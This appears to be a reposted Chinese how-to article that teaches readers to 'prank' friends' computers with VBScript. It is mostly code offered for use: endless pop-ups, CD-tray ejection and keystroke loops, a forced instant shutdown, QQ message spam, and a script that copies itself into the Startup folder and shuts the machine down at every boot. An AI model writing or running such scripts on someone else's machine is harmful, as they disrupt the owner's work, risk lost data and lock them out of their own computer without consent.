如何恶搞朋友的电脑?超简单的vbs代码

想恶搞朋友的电脑?想整蛊舍友的爱机?只要简单的几行代码,让恶搞发生。本文章将带你从vbs小白进阶到大神级别。

方法/步骤

    1

    新手教学(大神请跳到第五步):

    编写vbs有多简单?新建“文本文档”,输入msgbox "一大波病毒正在靠近...",点击文件->另存为->重命名为“代码.vbs”。文件名不重要,重要的是后缀要是“.vbs”。

    如何恶搞朋友的电脑?超简单的vbs代码

    2

    双击保存的文件:代码.vbs,即弹出一个对话框。记下这段小小的代码,去同学家里恶搞吧。当然你还可以输入其他有趣的文字。

    如何恶搞朋友的电脑?超简单的vbs代码如何恶搞朋友的电脑?超简单的vbs代码

    3

    当然,如此恶搞还是不够的。那就来一个无限循环吧,输入图中代码另存为vbs格式。双击打开。此时,会弹出提示对话框,点击确定和关闭按钮之后,再一次弹出窗口,如此循环,无法正常关闭。

    如何恶搞朋友的电脑?超简单的vbs代码如何恶搞朋友的电脑?超简单的vbs代码

    4

    那么到底要如何才能关闭呢?打开任务管理器结束进程“wscript.exe”即可

    如何恶搞朋友的电脑?超简单的vbs代码

    5

    到此新手教学完毕,下面进入大神课堂教学。

    无限弹出光驱:

    ------------------------------------------------

    set wmp=createobject("wmplayer.ocx")

    set cd=wmp.cdromcollection.item(0)

    do

    cd.eject

    loop

    ------------------------------------------------

    6

    无尽语音报数:

    无限语音从1数到无限大。

    ------------------------------------------------

    Set s = CreateObject("sapi.spvoice")

    i=0

    do

    s.speak i

    i=i+1

    loop

    ------------------------------------------------

    7

    无尽刷新:

    慎用,如此刷新打开任务管理器都难,只能拔掉电源。

    ------------------------------------------------

    set ws=createobject("wscript.shell")

    do

    ws.sendkeys "{f5}"

    loop

    ------------------------------------------------

    8

    修改注册表:

    ------------------------------------------------

    on error resume next

    set wr=createobject("scripting.filesystemobject")

    set ws=createobject("wscript.shell")

    set f = wr.getfile(wscript.scriptfullname)

    q=ws.regread("HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders\Startup")

    if not f="Win32.vbs" then wr.copyfile f,q&"\Win32.vbs",true

    ws.run"shutdown -p",vbhide

    ------------------------------------------------

    9

    QQ信息骚扰恶搞:

    打开好友的聊天对话框,然后记下聊天对话框的名称(如图:小敏),把下面代码里的小敏替换一下。代码中的“10”代表发送次数,把10修改一下就可以自定义发送QQ信息到好友的次数。把发送的内容“复制”即可,当打开本vbs的时候就会把剪切板里的内容粘贴发送过去。

    ------------------------------------------------

    On Error Resume Next

    Dim wsh,ye

    set wsh=createobject("wscript.shell")

    for i=1 to 10

    wscript.sleep 700

    wsh.AppActivate("小敏")

    wsh.sendKeys "^v"

    wsh.sendKeys i

    wsh.sendKeys "%s"

    next

    wscript.quit

    ------------------------------------------------

    如何恶搞朋友的电脑?超简单的vbs代码

    10

    直接关机:

    ------------------------------------------------

    dim WSHshell

    set WSHshell = wscript.createobject("wscript.shell")

    WSHshell.run "shutdown -f -s -t 00",0 ,true

    ------------------------------------------------

    11

    不断按下alt+f4 :

    打开任何程序都关掉

    ------------------------------------------------

    dim WSHshell

    set WSHshell = wscript.createobject("wscript.shell")

    do

    wscript.sleep 2500

    WSHshell.SendKeys "%{F4}"

    loop

    ------------------------------------------------

    12

    开玩笑也得有个度,凡事都不要太过。上面的代码的尺度还不算很大,大家可以玩玩。

    END

注意事项

    如你觉得此的经验不错,可以点击下面的“大拇指”给予支持,也可以点击下面的“五角星”来收藏。觉得可以帮助朋友,还可点击右边角的“双箭头”分享,如果你也喜欢计算机网络技巧,可以点击关注哦!

温馨提示:经验内容仅供参考,如果您需解决具体问题(尤其法律、医学等领域),建议您详细咨询相关领域专业人士。
免责声明:本文转载来之互联网,不代表本网站的观点和立场。如果你觉得好欢迎分享此网址给你的朋友。
转载请注明出处:https://www.baikejingyan.net/aff2aUG8CDABXBVE.html

打赏 微信扫一扫 微信扫一扫 支付宝扫一扫 支付宝扫一扫
上一篇 2024年10月22日
下一篇 2024年10月22日
single-end

热门经验

single-end

相关经验

  • 电脑版剪映怎样将文字转视频呢?

    电脑版剪映怎样将文字转视频呢,电脑版剪映怎样将文字转视频呢?步骤总共分为六步,不少网友们都不了解相关的操作流程步骤,下面跟着小编一起来学习吧!...

    2024年11月21日
    0℃
  • 如何修改淘宝会员名

    如何修改淘宝会员名,2019/12/11经用户反馈已无效~大家不要浪费时间看啦...

    2024年11月09日
    0℃
  • 2017新版微信解绑手机号的方法

    2017新版微信解绑手机号的方法,2017开始微信的手机号绑定界面没有了右上角的菜单从此只能更换手机号,不能解绑给很多特定人群带来了不便那是不是就完全没有办法了呢下面带来全网独家的解绑教程申诉解绑法一听申诉二字不要觉得是复杂又漫长的等待其实只需要输入一个可用的手机号如果微信号一直都是自己用申诉也是秒成功的...

    2024年11月09日
    0℃
  • 怎么解决win7电脑本地网络连接显示红叉的问题

    怎么解决win7电脑本地网络连接显示红叉的问题,电脑本地网络连接显示红叉?这说明我们的电脑不能连上网络了,因为网络连接图标出现红叉即代表与网络连接中断,很多人一看到这便是赶紧重插网线之类的操作,可是结果没有任何效果,下面我来说下怎么解决电脑本地网络连接显示红叉的问题。...

    2024年11月09日
    0℃
  • 华为手机桌面上的时间和天气不见了怎么办

    华为手机桌面上的时间和天气不见了怎么办,有时候我们在使用华为手机的时候,桌面上的时间和天气不见了,怎么办呢,下面来分享一下方法...

    2024年11月08日
    0℃

联系我们

在线咨询: QQ交谈

邮件:baikejingyan@gmail.com

工作时间:周一至周五,9:30-18:30,节假日休息

关注微信